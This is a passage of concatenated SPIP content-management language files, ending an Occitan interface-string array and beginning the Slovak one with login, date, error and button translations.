'info_verifier_image' => ', vorgatz verificar que lu imatges si sigan ben transferits.',
'info_vignette_defaut' => 'Vinheta predefinida',
'info_vignette_personnalisee' => 'Vinheta personalizada',
'info_visite' => 'vesita:',
'info_vos_rendez_vous' => 'Lu vòstres rendètz-vos venents',
'infos_vos_pense_bete' => 'Lu vòstres mementos', # MODIF
// L
'lien_afficher_icones_seuls' => 'Afichar basta li icònas ',
'lien_afficher_texte_icones' => 'Afichar basta li icònas e lo tèxt',
'lien_afficher_texte_seul' => 'Afichar basta lo tèxt ',
'lien_liberer' => 'liberar',
'lien_liberer_tous' => 'liberar aquelu articles', # MODIF
'lien_nouvea_pense_bete' => 'MEMENTO NÒU',
'lien_nouveau_message' => 'MESSATGE NÒU',
'lien_nouvelle_annonce' => 'ANONCI NOVÈU',
'lien_petitions' => 'PETICION',
'lien_popularite' => 'popularitat: @popularite@%',
'lien_racine_site' => 'RAIÇ DAU SIT',
'lien_reessayer' => 'tornar assaiar',
'lien_repondre_message' => 'Respòndre a aqueu messatge',
'lien_supprimer' => 'suprimir',
'lien_tout_afficher' => 'Afichar tot',
'lien_visite_site' => 'vesitar aqueu sit',
'lien_visites' => '@visites@ vesitas',
'lien_voir_auteur' => 'Veire aquel autor',
'login_acces_prive' => 'accès a l’espaci privat',
'login_autre_identifiant' => 'si connectar emb un autre identificant',
'login_cookie_accepte' => 'Vorgatz configurar lo vòstre navigador per que lu accèpte (aumens per aqueu sit).',
'login_cookie_oblige' => 'Per v’identificar d’un biais segur sus aquest sit, vos cau acceptar lu cookies.',
'login_deconnexion_ok' => 'Siatz desconnectat/ada.',
'login_erreur_pass' => 'Error de mot de santa Clara.',
'login_espace_prive' => 'espaci privat',
'login_identifiant_inconnu' => 'L’identificant «@login@» es inconegut.',
'login_login' => 'Login:',
'login_login2' => 'Login (identificant de connexion au sit):', # MODIF
'login_login_pass_incorrect' => '(Login ò mot de santa Clara incorrècte.)',
'login_motpasseoublie' => 'mot de santa Clara oblidat?',
'login_non_securise' => 'Atencion, aqueu formulari non es securizat.
Se non volètz que lo vòstre mot de santa Clara sia
interceptat sus la ret, vorgatz activar Javascript
dins lo vòstre navigador e',
'login_nouvelle_tentative' => 'novèl assai',
'login_par_ici' => 'Siatz registrat/ada... per aquí...',
'login_pass2' => 'Mot de santa Clara:',
'login_preferez_refuser' => '<b>Se v’agrada mai de refusar lu cookies</b>, un autre metòde de connexion (mens securizat) es a la vòstra disposicion:',
'login_recharger' => 'tornar cargar aquela pàgina',
'login_rester_identifie' => 'Restar identificat/ada quaucu jorns',
'login_retour_public' => 'Tornar au sit public',
'login_retour_site' => 'Tornar au sit public',
'login_retoursitepublic' => 'tornar au sit public',
'login_sans_cookiie' => 'Identificacion sensa cookie',
'login_sinscrire' => 's’inscriure',
'login_test_navigateur' => 'Assai navigador/tornar connectar',
'login_verifiez_navigateur' => '(totun verificatz que lo vòstre navigador non auga servat lo vòstre mot de santa Clara en memòria...)',
// M
'module_fichiers_langues' => 'Fichiers de lenga',
// N
'navigateur_pas_redirige' => 'Se lo vòstre navigador non es redirigit, clicatz aicí per contunhar.',
// O
'onglet_affacer_base' => 'Esfaçar la basa',
'onglet_auteur' => 'L’autor',
'onglet_contenu_site' => 'Contengut dau sit',
'onglet_evolution_visite_mod' => 'Evolucion',
'onglet_fonctions_avances' => 'Foncions avançadi',
'onglet_informations_personnelles' => 'Informacions personali',
'onglet_interactivite' => 'Interactivitat',
'onglet_messagerie' => 'Messatjaria',
'onglet_repartition_rubrique' => 'Reparticion per rubricas',
'onglet_save_restaur_base' => 'Sauvagardar/restaurar la basa',
'onglet_vider_cache' => 'Vuar l’escondedor',
// P
'pass_choix_pass' => 'Vorgatz chausir lo vòstre mot de santa Clara novèu:',
'pass_erreur' => 'Error',
'pass_erreur_acces_refuse' => '<b>Error :</b> podètz pus accedir a aqueu sit.',
'pass_erreur_code_inconnu' => '<b>Error :</b> aqueu còde correspònde a minga de vesitaire que pòsca accedir a aqueu sit.',
'pass_erreur_non_enregistre' => '<b>Error:</b> l’adreiça <tt>@email_oubli@</tt> non es registrada sus aqueu sit.',
'pass_erreur_non_valide' => '<b>Error:</b> aquel e-mail <tt>@email_oubli@</tt> non es valid!',
'pass_erreur_probleme_technique' => '<b>Error:</b> per amòr d’un problèma tecnic, l’e-mail non si pòu mandar. ',
'pass_espace_prive_bla' => 'L’espaci privat d’aquest sit es dubèrt ai
vesitaires que si son inscrichs. Un còup registrat/ada,
porretz consultar lu articles en cors de redaccion,
prepausar d’articles novèus e participar a totei lei forums.',
'pass_forum_bla' => 'Avètz demandat d’intervenir dins un forum
reservat ai vesitaires registrats.',
'pass_indiquez_cidessous' => 'Marcatz çai sota l’adreiça e-mail dont
vos registreriatz lo còup passat.
Recebretz un e-mail que vos donarà lo biais de
tornar trobar lo vòstre accès.',
'pass_mail_passcookie' => '(aquò es un messatge automatic)
Per tornar trobar o vòstre accès au sit
@nom_site_spip@ (@adresse_site@)
Vorgatz anar a l’adreiça seguenta:
@sendcookie@
Alora porretz intrar un mot de santa Clara novèu
e vos tornar connectar au sit.
',
'pass_mot_oublie' => 'Mot de santa Clara demembrat',
'pass_nouveau_enregistre' => 'Lo vòstre mot de santa Clara novèu es estat registrat.',
'pass_nouveau_pass' => 'Mot de santa Clara novèu',
'pass_ok' => 'D’acòrdi',
'pass_oubli_mot' => 'Mot de santa Clara demembrat',
'pass_quitter_fenetre' => 'Quitar aquesta fenèstra ',
'pass_rappel_login' => 'Remembrança: lo vòstre identificant (login) es «@login@».',
'pass_recevoir_mail' => 'Recebretz un e-mail que v’explicarà coma tornar trobar lo vòstre accès au sit.',
'pass_retour_public' => 'Tornar au sit public',
'pass_rien_a_faire_ici' => 'Ren a faire aicí.',
'pass_vousinscrire' => 'S’inscriure sus aquest sit',
'precedent' => 'precedent',
'previsualisation' => 'Previsualizacion',
'previsualiser' => 'Previsualizar',
// S
'stats_visites_et_popularite' => '@visites@ vesitas; popularitat: @popularite@',
'suivant' => 'seguent',
// T
'taille_ko' => '@taille@ Ko',
'taille_mo' => '@taille@ Mo',
'taille_octets' => '@taille@ octets',
'texte_actualite_site_1' => 'Quand vos seretz familharizat/ada emb l’interfàcia, porretz clicar sus «',
'texte_actualite_site_2' => 'Interfàcia completa',
'texte_actualite_site_3' => '" per durbir mai de possibilitats.',
'texte_creation_automatique_vignette' => 'La creacion automatica de vinhetas de previsualizacion es activada sus aqueu sit. S’installatz a partir d’aqueu formulari d’imatges au(ai) format(s) @gd_formats@, s’acompanharàn d’una vinheta d’una talha maximala de @taille_preview@ pixèls.',
'texte_documents_associes' => 'Lu documents seguents s’assòcian a l’article,
mas non s’inserisson
directament. Segon la compaginacion dau sit public,
porràn aparéisser sota forma de documents jonchs.',
'texte_erreur_mise_niveau_base' => 'Error de basa de donadas pendent la mesa a nivèu. L’imatge <b>@fichier@</b> non es passat (article @id_article@).
Notatz ben aquela referéncia, tornatz assaiar la mesa a
nivèu, e verificatz pi que lu imatges aparegan
encara dins lu articles.',
'texte_inc_auth_1' => 'Siatz identificat/ada coma
<b>@auth_login@</b>, mas aqueu login non existisse ò existisse pus dins la basa.
Assaiatz de vos', # MODIF
'texte_inc_auth_2' => 'tornar connectar',
'texte_inc_auth_3' => ', après qu’auretz quitat eventualament, pi
tornat lançar lo vòstre navigador.',
'texte_inc_config' => 'Li modificacions fachi dins aquesti pàginas influéncian bravament lo
foncionament dau vòstre sit. V’aconselham de non i intervenir tant que siatz pas
acostumat/ada au foncionament dau sistèma SPIP. <br /><br /><b>
En generau, si conselha tot plen
de laissar la carga d’aquesti pàginas au webmèstre principau dau vòstre sit.</b>',
'texte_inc_meta_1' => 'Lo sistèma a rescontrat un error dins l’escritura dau fichier <code>@fichier@</code>.Vougatz, coma administrator/tritz dau sit,',
'texte_inc_meta_2' => 'verificar lu drechs d’escritura',
'texte_inc_meta_3' => 'dins lo repertòri <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'en cors de redaccion',
'texte_statut_poubelle' => 'au bordilhier',
'texte_statut_propose_evaluation' => 'prepauat per avaloracion',
'texte_statut_publie' => 'publicat en linha',
'texte_statut_refuse' => 'refusat',
'titre_ajouter_mot_cle' => 'APONDRE UN MOT CLAU:',
'titre_cadre_raccourcis' => 'ACORCHAS:',
'titre_changer_couleur_interface' => 'Cambiar lo color de l’interfàcia',
'titre_image_admin_article' => 'Podètz administrar aquest article',
'titre_image_administrateur' => 'Administrator',
'titre_image_aide' => 'D’ajuda sobre aquel element',
'titre_image_auteur_supprime' => 'Autor suprimit',
'titre_image_redacteur' => 'Redactor sensa accès',
'titre_image_redacteur_02' => 'Redactor',
'titre_image_visiteur' => 'Vesitaire',
'titre_joindre_document' => 'JÓNHER UN DOCUMENT',
'titre_mots_cles' => 'MOTS CLAU',
'titre_probleme_technique' => 'Atencion: un problèma tecnic (servidor SQL) empedisse d’accedir a aquela part dau sit. Mercé de la vòstra indulgéncia.',
'titre_publier_document' => 'PUBLICAR UN DOCUMENT DINS AQUELA RUBRICA',
'titre_statistiques' => 'Estadisticas dau sit',
'titre_titre_document' => 'Títol dau document:',
'trad_reference' => '(article de referéncia)', # MODIF
// Z
'zbug_balise_b_aval' => ' : balisa B en avau',
'zbug_boucle' => 'bloca',
'zbug_boucle_recursive_undef' => 'bloca recursiva non definida', # MODIF
'zbug_champ_hors_boucle' => 'Camp @champ@ fòra bloca',
'zbug_champ_hors_motif' => 'Camp @champ@ en defòra d’una bloca de motiu @motif@', # MODIF
'zbug_code' => 'còde',
'zbug_critere_inconnu' => 'critèri inconegut @critere@', # MODIF
'zbug_distant_interdit' => 'extèrne enebit', # MODIF
'zbug_erreur_boucle_double' => 'BLOCA@id@: definicion dobla', # MODIF
'zbug_erreur_boucle_fermant' => 'BLOCA@id@: lo tag barrador manca', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Sintaxi bloca incorrècta', # MODIF
'zbug_erreur_execution_page' => 'error d’execucion de la pàgina', # MODIF
'zbug_erreur_filtre' => 'Error: filtre <b>« @filtre@ »</b> non definit', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} s’aplica basta ai blocas (FORUMS) o (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'Error(s) dins l’esqueleta',
'zbug_info_erreur_squelette' => 'Error sobre lo sit',
'zbug_inversion_ordre_inexistant' => 'inversion d’un òrdre inexistent', # MODIF
'zbug_parametres_inclus_incorrects' => 'Paramètres d’inclusion incorrèctes', # MODIF
'zbug_resultat' => 'resultat',
'zbug_serveur_indefini' => 'servidor SQL indefinit', # MODIF
'zbug_table_inconnue' => 'Taula SQL «@table@» inconeguda'
);
?>
spip_sk.php 0000666 00000112303 15252547432 0006742 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'Slovenčina [sk]',
'0_liste' => 'spip-dev@rezo.net',
'0_mainteneur' => 'spip-dev@rezo.net',
// A
'access_interface_graphique' => 'Späť na úplné grafické rozhranie',
'access_mode_texte' => 'Zobraziť zjednodušené textové rozhranie',
'admin_debug' => 'Ladiť',
'admin_modifier_article' => 'Upraviť tento článok',
'admin_modifier_auteur' => 'Upraviť tohto autora',
'admin_modifier_breve' => 'Upraviť túto novinku',
'admin_modifier_mot' => 'Upraviť toto kľúčové slovo',
'admin_modifier_rubrique' => 'Upraviť túto rubriku',
'admin_recalculer' => 'Obnoviť túto stránku',
'afficher_calendrier' => 'Zobraziť kalendár',
'afficher_trad' => 'Zobraziť preklady',
'alerte_maj_impossible' => '<b>Upozornenie!</b> Nepodarilo sa aktualizovať databázu SQL na verziu @version@. Môže to byť kvôli problému s povoleniami k databáze. Prosím, kontaktujte svojho poskytovateľa internetových služieb.',
'alerte_modif_info_concourante' => 'POZOR: Tento údaj bol zmenený inde. Jeho aktuálna hodnota je:',
'analyse_xml' => 'Analýza XML',
'annuler' => 'Zrušiť',
'antispam_champ_vide' => 'Toto pole, prosím, nevypĺňajte:',
'articles_recents' => 'Najnovšie články',
'avis_archive_incorrect' => 'archívny súbor nie je platný súbor SPIPu',
'avis_archive_invalide' => 'archívny súbor nie je platný',
'avis_attention' => 'POZOR!',
'avis_champ_incorrect_type_objet' => 'Neplatný názov poľa @name@ pre objekt typu @type@',
'avis_colonne_inexistante' => 'Stĺpec @col@ neexistuje',
'avis_erreur' => 'Chyba: pozri nižšie',
'avis_erreur_connexion' => 'Chyba pripojenia',
'avis_erreur_cookie' => 'problém s cookie',
'avis_erreur_fonction_contexte' => 'Chyba pri programovaní. Túto funkciu nemožno volať v takejto situácii.',
'avis_erreur_mysql' => 'Chyba SQL',
'avis_erreur_sauvegarde' => 'Chyba v zálohe (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'Problém pri vstupe do súkromnej zóny',
// B
'barre_a_accent_grave' => 'Vložiť veľké A s opačným dĺžňom',
'barre_aide' => 'Na zmenu vzhľadu používajte klávesové skratky',
'barre_e_accent_aigu' => 'Vložiť veľké dlhé E ',
'barre_eo' => 'Vložiť zložku eo',
'barre_eo_maj' => 'Vložiť veľkú zložku EO',
'barre_euro' => 'Vložiť symbol €',
'barre_gras' => 'Zmeniť na {{tučné}}',
'barre_guillemets' => 'Dať do "dvojitých úvodzoviek"',
'barre_guillemets_simples' => 'Dať do ‘jednoduchých úvodzoviek’',
'barre_intertitre' => 'Zmeniť na {{{medzititulok}}}',
'barre_italic' => 'Zmeniť na {kurzívu}',
'barre_lien' => 'Zmeniť na [odkaz -> http://...]',
'barre_lien_input' => 'Prosím, zadajte adresu odkazu. Môžete použiť externú adresu (http://www.mojastranka.sk) alebo odkážte na iný článok na tejto stránke tak, že zadáte jeho číslo.',
'barre_note' => 'Zmeniť na [[poznámku pod čiarou]]',
'barre_paragraphe' => 'Urobiť odsek',
'barre_quote' => '<quote>Citovať príspevok</quote>',
'bouton_changer' => 'Upraviť',
'bouton_chercher' => 'Vyhľadať',
'bouton_choisir' => 'Vybrať',
'bouton_deplacer' => 'Presunúť',
'bouton_download' => 'Stiahnuť',
'bouton_enregistrer' => 'Uložiť',
'bouton_radio_desactiver_messagerie_interne' => 'Deaktivovať interný odkazovač',
'bouton_radio_envoi_annonces' => 'Posielať oznamy z redakcie',
'bouton_radio_non_envoi_annonces' => 'Neposielať žiadne oznamy',
'bouton_radio_non_envoi_liste_nouveautes' => 'Neposielať zoznam najnovších správ',
'bouton_recharger_page' => 'obnoviť túto stránku',
'bouton_telecharger' => 'Stiahnuť',
'bouton_upload' => 'Nahrať',
'bouton_valider' => 'Potvrdiť',
// C
'cal_apresmidi' => 'poobede (p.m.)',
'cal_jour_entier' => 'celý deň',
'cal_matin' => 'doobeda (a.m.)',
'cal_par_jour' => 'Kalendár na deň',
'cal_par_mois' => 'Kalendár na mesiac',
'cal_par_semaine' => 'Kalendár na týždeň',
'choix_couleur_interface' => 'farba ',
'choix_interface' => 'výber rozhrania',
'colonne' => 'Stĺpec',
'confirm_changer_statut' => 'Pozor, požiadali ste o zmenu stavu tohto prvku. Chcete pokračovať?',
'correcte' => 'správne',
// D
'date_aujourdhui' => 'dnes',
'date_avant_jc' => 'p. K.',
'date_dans' => 'o @delai@',
'date_de_mois_1' => '@j@ januára',
'date_de_mois_10' => '@j@ októbra',
'date_de_mois_11' => '@j@ novembra',
'date_de_mois_12' => '@j@ decembra',
'date_de_mois_2' => '@j@ februára',
'date_de_mois_3' => '@j@ marca',
'date_de_mois_4' => '@j@ apríla',
'date_de_mois_5' => '@j@ mája',
'date_de_mois_6' => '@j@ júna',
'date_de_mois_7' => '@j@ júla',
'date_de_mois_8' => '@j@ augusta',
'date_de_mois_9' => '@j@ septembra',
'date_demain' => 'zajtra',
'date_fmt_heures_minutes' => '@h@:@m@',
'date_fmt_heures_minutes_court' => '@h@h:@m@',
'date_fmt_jour' => '@nomjour@ @jour@',
'date_fmt_jour_heure' => '@jour@ o @heure@',
'date_fmt_jour_heure_debut_fin' => '@jour@ od @heure_debut@ do @heure_fin@',
'date_fmt_jour_heure_debut_fin_abbr' => '@dtstart@@jour@ od @heure_debut@@dtabbr@ do @dtstart@@heure_fin@@dtend@',
'date_fmt_jour_mois' => '@jour@ @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ @nommois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour' => '@nomjour@ @date@',
'date_fmt_nomjour_date' => '@date@ @nomjour@',
'date_fmt_periode' => 'Od @date_debut@ do @date_fin@',
'date_fmt_periode_abbr' => 'Od @dtart@@date_debut@@dtabbr@ do @dtend@@date_fin@@dtabbr@',
'date_fmt_periode_from' => 'Od',
'date_fmt_periode_to' => 'do',
'date_heures' => 'hodinami',
'date_hier' => 'včera',
'date_il_y_a' => 'pred @delai@',
'date_jnum1' => '1.',
'date_jnum10' => '10.',
'date_jnum11' => '11.',
'date_jnum12' => '12.',
'date_jnum13' => '13.',
'date_jnum14' => '14.',
'date_jnum15' => '15.',
'date_jnum16' => '16.',
'date_jnum17' => '17.',
'date_jnum18' => '18.',
'date_jnum19' => '19.',
'date_jnum2' => '2.',
'date_jnum20' => '20.',
'date_jnum21' => '21.',
'date_jnum22' => '22.',
'date_jnum23' => '23.',
'date_jnum24' => '24.',
'date_jnum25' => '25.',
'date_jnum26' => '26.',
'date_jnum27' => '27.',
'date_jnum28' => '28.',
'date_jnum29' => '29.',
'date_jnum3' => '3.',
'date_jnum30' => '30.',
'date_jnum31' => '31.',
'date_jnum4' => '4.',
'date_jnum5' => '5.',
'date_jnum6' => '6.',
'date_jnum7' => '7.',
'date_jnum8' => '8.',
'date_jnum9' => '9.',
'date_jour_1' => 'nedeľa',
'date_jour_1_abbr' => 'ned.',
'date_jour_1_initiale' => 'n.',
'date_jour_2' => 'pondelok',
'date_jour_2_abbr' => 'pon.',
'date_jour_2_initiale' => 'p.',
'date_jour_3' => 'utorok',
'date_jour_3_abbr' => 'uto.',
'date_jour_3_initiale' => 'u.',
'date_jour_4' => 'streda',
'date_jour_4_abbr' => 'str.',
'date_jour_4_initiale' => 's.',
'date_jour_5' => 'štvrtok',
'date_jour_5_abbr' => 'štv.',
'date_jour_5_initiale' => 'š.',
'date_jour_6' => 'piatok',
'date_jour_6_abbr' => 'pia.',
'date_jour_6_initiale' => 'p.',
'date_jour_7' => 'sobota',
'date_jour_7_abbr' => 'sob.',
'date_jour_7_initiale' => 's.',
'date_jours' => 'dňami',
'date_minutes' => 'minútami',
'date_mois' => 'mesiacov',
'date_mois_1' => 'január',
'date_mois_10' => 'október',
'date_mois_10_abbr' => 'okt.',
'date_mois_11' => 'november',
'date_mois_11_abbr' => 'nov.',
'date_mois_12' => 'december',
'date_mois_12_abbr' => 'dec.',
'date_mois_1_abbr' => 'jan.',
'date_mois_2' => 'február',
'date_mois_2_abbr' => 'feb.',
'date_mois_3' => 'marec',
'date_mois_3_abbr' => 'mar.',
'date_mois_4' => 'apríl',
'date_mois_4_abbr' => 'apr.',
'date_mois_5' => 'máj',
'date_mois_5_abbr' => 'máj',
'date_mois_6' => 'jún',
'date_mois_6_abbr' => 'jún',
'date_mois_7' => 'júl',
'date_mois_7_abbr' => 'júl',
'date_mois_8' => 'august',
'date_mois_8_abbr' => 'aug.',
'date_mois_9' => 'september',
'date_mois_9_abbr' => 'sept.',
'date_saison_1' => 'zima',
'date_saison_2' => 'jar',
'date_saison_3' => 'leto',
'date_saison_4' => 'jeseň',
'date_secondes' => 'sekundami',
'date_semaines' => 'týždňami',
'date_un_mois' => 'mesiacom',
'date_une_heure' => 'hodinou',
'date_une_minute' => 'minútou',
'date_une_seconde' => 'sekundou',
'date_une_semaine' => 'týždňom',
'dirs_commencer' => ' aby sa inštalácia mohla naozaj začať',
'dirs_preliminaire' => 'Predpríprava: <b>Nastavenie prístupových práv</b>',
'dirs_probleme_droits' => 'Problém s prístupovými právami',
'dirs_repertoires_absents' => '<p><b>Nenašli sa tieto priečinky: </b></p><ul>@bad_dirs@.</ul>
<p>Je pravdepodobné, že sa to stalo kvôli nesprávnemu použitiu malých a veľkých písmen v ich názvoch.
Prosím, skontrolujte, či veľké a malé písmená v názvoch týchto priečinkoch sú rovnaké ako vyššie.
Ak to tak nie je, premenujte priečinky pomocou FTP klienta.</p>
<p>Keď to urobíte, môžete ',
'dirs_repertoires_suivants' => '<p><b>Tieto priečinky nemajú povolenie na zápis: </b></p><ul>@bad_dirs@</ul>
<p>Aby sa to zmenilo, použite svojho FTP klienta na nastavenie prístupových práv pre každý
z týchto priečinkov. Postup je podrobne opísaný v sprievodcovi inštaláciou.</p>
<p>Keď to urobíte, môžete ',
'double_occurrence' => 'Dva výskyty @balise@',
// E
'en_cours' => 'Spracúva sa',
'envoi_via_le_site' => 'Poslané cez stránku',
'erreur' => 'Chyba',
'erreur_balise_non_fermee' => 'posledný tag nie je uzavretý:',
'erreur_technique_ajaxform' => 'Ups! Neočakávaná chyba zabránila odoslaniu formulára. Môžete to skúsiť znova.',
'erreur_technique_enregistrement_champs' => 'Technická chyba zabránila správnemu uloženiu poľa @champs@.',
'erreur_technique_enregistrement_impossible' => 'Uloženiu zabránila technická chyba.',
'erreur_texte' => 'Chyba (-y)',
'etape' => 'Etapa',
// F
'fichier_introuvable' => 'Súbor @fichier@ sa nenašiel',
'form_auteur_confirmation' => 'Prosím, potvrďte svoju e-mailovú adresu',
'form_auteur_email_modifie' => 'Vaša e-mailová adresa sa zmenila.',
'form_auteur_envoi_mail_confirmation' => 'Na adresu @email@ bol odoslaný potvrdzovací e-mail. Musíte navštíviť stránku uvedenú v správe a potvrdiť tak svoju e-mailovú adresu.',
'form_auteur_mail_confirmation' => 'Dobrý deň,
požiadali ste o zmenu svojej e-mailovej adresy.
Na potvrdenie svojej novej adresy musíte kliknúť
na adresu nižšie (inak bude vaša požiadavka ignorovaná):
@url@
',
'form_deja_inscrit' => 'Už ste sa zaregistrovali.',
'form_email_non_valide' => 'Vaša e-mailová adresa nie je platná.',
'form_forum_access_refuse' => 'Na túto stránku už viac nemáte prístup.',
'form_forum_bonjour' => 'Dobrý deň @nom@,',
'form_forum_confirmer_email' => 'Ak chcete potvrdiť svoju e-mailovú adresu, kliknite na tento odkaz: @url_confirm@',
'form_forum_email_deja_enregistre' => 'Táto e-mailová adresa je už zaregistrovaná, môžete zadať svoje heslo ako zvyčajne.',
'form_forum_identifiant_mail' => 'Váš nový prihlasovací údaj sme vám práve poslali e-mailom.',
'form_forum_identifiants' => 'Osobné prihlasovacie údaje',
'form_forum_indiquer_nom_email' => 'Sem zadajte svoje meno a e-mailovú adresu. Čoskoro dostanete e-mailom svoj osobný prihlasovací údaj.',
'form_forum_login' => 'Prihlasovacie meno:',
'form_forum_message_auto' => '(toto je automatická správa)',
'form_forum_pass' => 'Heslo:',
'form_forum_probleme_mail' => 'Problém s mejlom: prihlasovací údaj sa nepodarilo odoslať.',
'form_forum_voici1' => 'Tu sú vaše prihlasovacie údaje. Teraz sa môžete zúčastňovať na dianí na stránke
"@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Tu sú vaše prihlasovacie údaje na posielanie údajov na
stránku "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Prosím, zadajte svoju e-mailovú adresu.',
'form_indiquer_nom' => 'Zadajte, prosím, svoje meno.',
'form_indiquer_nom_site' => 'Prosím, zadajte názov svojej stránky.',
'form_pet_deja_enregistre' => 'Táto stránka je už zaregistrovaná',
'form_pet_signature_pasprise' => 'Váš podpis bol ignorovaný.',
'form_prop_confirmer_envoi' => 'Potvrdiť odoslanie',
'form_prop_description' => 'Opis/komentár',
'form_prop_enregistre' => 'Váš návrh bol uložený. Online sa zobrazí po schválení administrátorom tejto stránky.',
'form_prop_envoyer' => 'Poslať správu',
'form_prop_indiquer_email' => 'Prosím, zadajte platnú e-mailovú adresu',
'form_prop_indiquer_nom_site' => 'Prosím, zadajte názov stránky.',
'form_prop_indiquer_sujet' => 'Prosím, zadajte predmet',
'form_prop_message_envoye' => 'Správa odoslaná',
'form_prop_non_enregistre' => 'Váš návrh nebol uložený.',
'form_prop_sujet' => 'Predmet',
'form_prop_url_site' => 'Adresa stránky',
'forum_non_inscrit' => 'Buď ste sa nezaregistrovali, alebo sú adresa či heslo nesprávne.',
'forum_par_auteur' => 'napísal(a) @auteur@',
'forum_titre_erreur' => 'Chyba...',
// I
'ical_texte_rss_articles' => 'Backendový súbor tejto stránky pre články nájdete na adrese:',
'ical_texte_rss_articles2' => 'Môžete získať backendové súbory aj pre jednotlivé rubriky, a to na stránke:',
'ical_texte_rss_breves' => 'Naviac tu je súbor, ktorý obsahuje novinky zo stránky. Ak si zvolíte číslo rubriky, môžete dostávať novinky výlučne z príslušnej rubriky.',
'icone_a_suivre' => 'Poznámkový blok',
'icone_admin_site' => 'Administrácia stránky',
'icone_agenda' => 'Kalendár',
'icone_aide_ligne' => 'Pomocník',
'icone_articles' => 'Články',
'icone_auteurs' => 'Autori',
'icone_brouteur' => 'Rýchla navigácia',
'icone_configuration_site' => 'Konfigurácia',
'icone_configurer_site' => 'Nastavte si stránku',
'icone_creer_nouvel_auteur' => 'Zapísať nového autora',
'icone_creer_rubrique' => 'Vytvoriť rubriku',
'icone_creer_sous_rubrique' => 'Vytvoriť podrubriku',
'icone_deconnecter' => 'Odhlásiť sa',
'icone_discussions' => 'Diskusie',
'icone_doc_rubrique' => 'Dokumenty v rubrikách',
'icone_ecrire_article' => 'Napísať nový článok',
'icone_edition_site' => 'Upraviť stránku',
'icone_gestion_langues' => 'Administrácia jazykov',
'icone_informations_personnelles' => 'Osobné údaje',
'icone_interface_complet' => 'Úplné rozhranie',
'icone_interface_simple' => 'Zjednodušené rozhranie',
'icone_maintenance_site' => 'Údržba stránky',
'icone_messagerie_personnelle' => 'Súkromný odkazovač',
'icone_repartition_debut' => 'Zobraziť distribúciu od začiatku',
'icone_rubriques' => 'Rubriky',
'icone_sauver_site' => 'Zálohovať stránku',
'icone_site_entier' => 'Celú stránku',
'icone_sites_references' => 'Stránky, na ktoré odkazujete',
'icone_statistiques' => 'Štatistika stránky',
'icone_suivi_activite' => 'Sledovanie aktivity stránky',
'icone_suivi_actualite' => 'Štatistika stránky',
'icone_suivi_pettions' => 'Sledovať/riadiť petície',
'icone_suivi_revisions' => 'Opravy článku',
'icone_supprimer_document' => 'Odstrániť tento dokument',
'icone_supprimer_image' => 'Odstrániť tento obrázok',
'icone_tous_articles' => 'Všetky vaše články',
'icone_tous_auteur' => 'Všetci autori',
'icone_tous_visiteur' => 'Všetci návštevníci',
'icone_visiter_site' => 'Zobraziť verejne prístupnú stránku',
'icone_voir_en_ligne' => 'Zobraziť online',
'img_indisponible' => 'Obrázok je nedostupný',
'impossible' => 'Nedá sa',
'info_a_suivre' => 'POZNÁMKOVÝ BLOK»',
'info_acces_interdit' => 'Prístup zakázaný',
'info_acces_refuse' => 'Prístup zamietnutý',
'info_action' => 'Akcia: @action@',
'info_administrer_rubriques' => 'Môžete riadiť túto rubriku a všetky jej podrubriky',
'info_adresse_non_indiquee' => 'Neuviedli ste adresu, ktorú treba otestovať!',
'info_aide' => 'POMOCNÍK:',
'info_ajouter_mot' => 'Pridať toto kľúčové slovo',
'info_annonce' => 'OZNAM',
'info_annonces_generales' => 'Všeobecné oznamy:',
'info_article_propose' => 'Článok odoslaný',
'info_article_publie' => 'Článok publikovaný',
'info_article_redaction' => 'Článok sa upravuje',
'info_article_refuse' => 'Článok odmietnutý ',
'info_article_supprime' => 'Článok odstránený',
'info_articles' => 'Články',
'info_articles_a_valider' => 'Články čakajúce na schválenie',
'info_articles_nb' => '@nb@ článkov',
'info_articles_proposes' => 'Odoslané články',
'info_articles_un' => '1 článok',
'info_auteurs_nombre' => 'Autor(i):',
'info_authentification_ftp' => 'Prihlásenie (cez FTP).',
'info_breves_2' => 'novinky',
'info_breves_nb' => '@nb@ noviniek',
'info_breves_un' => '1 novinka',
'info_connexion_refusee' => 'Pripojenie zamietnuté',
'info_contact_developpeur' => 'Prosím, kontaktujte vývojára.',
'info_contenance' => 'Táto stránka obsahuje:',
'info_contribution' => 'príspevky',
'info_copyright' => '@spip@ je slobodný softvér distribuovaný @lien_gpl@',
'info_copyright_doc' => 'viac informácií nájdete na stránke <a href="@spipnet@">@spipnet_affiche@.</a>',
'info_copyright_gpl' => 's licenciou GPL.',
'info_cours_edition' => 'Spracúva sa',
'info_creer_repertoire' => 'Prosím, vytvorte súbor alebo priečinok s názvom:',
'info_creer_repertoire_2' => 'v podpriečinku <b>@repertoire@</b>, potom',
'info_creer_vignette' => 'automatické vytváranie miniatúr',
'info_creerdansrubrique_non_autorise' => 'Na vytváranie obsahu tejto rubriky nemáte dostatočné práva.',
'info_deplier' => 'Rozložiť',
'info_descriptif_nombre' => 'Opis(y):',
'info_description' => 'Opis:',
'info_description_2' => 'Opis:',
'info_dimension' => 'Veľkosť:',
'info_documents_nb' => '@nb@ dokumentov',
'info_documents_un' => '1 dokument',
'info_ecire_message_prive' => 'Napísať súkromnú správu',
'info_email_invalide' => 'Neplatná e-mailová adresa.',
'info_en_cours_validation' => 'Vaše články, ktoré sa upravujú',
'info_en_ligne' => 'Momentálne online:',
'info_envoyer_message_prive' => 'Poslať súkromnú správu tomuto autorovi',
'info_erreur_requete' => 'Chyba v požiadavke:',
'info_erreur_squelette2' => 'Žiadna dostupná šablóna <b>@fichier@</b>...',
'info_erreur_systeme' => 'Chyba systému (ch. č. @errsys@)',
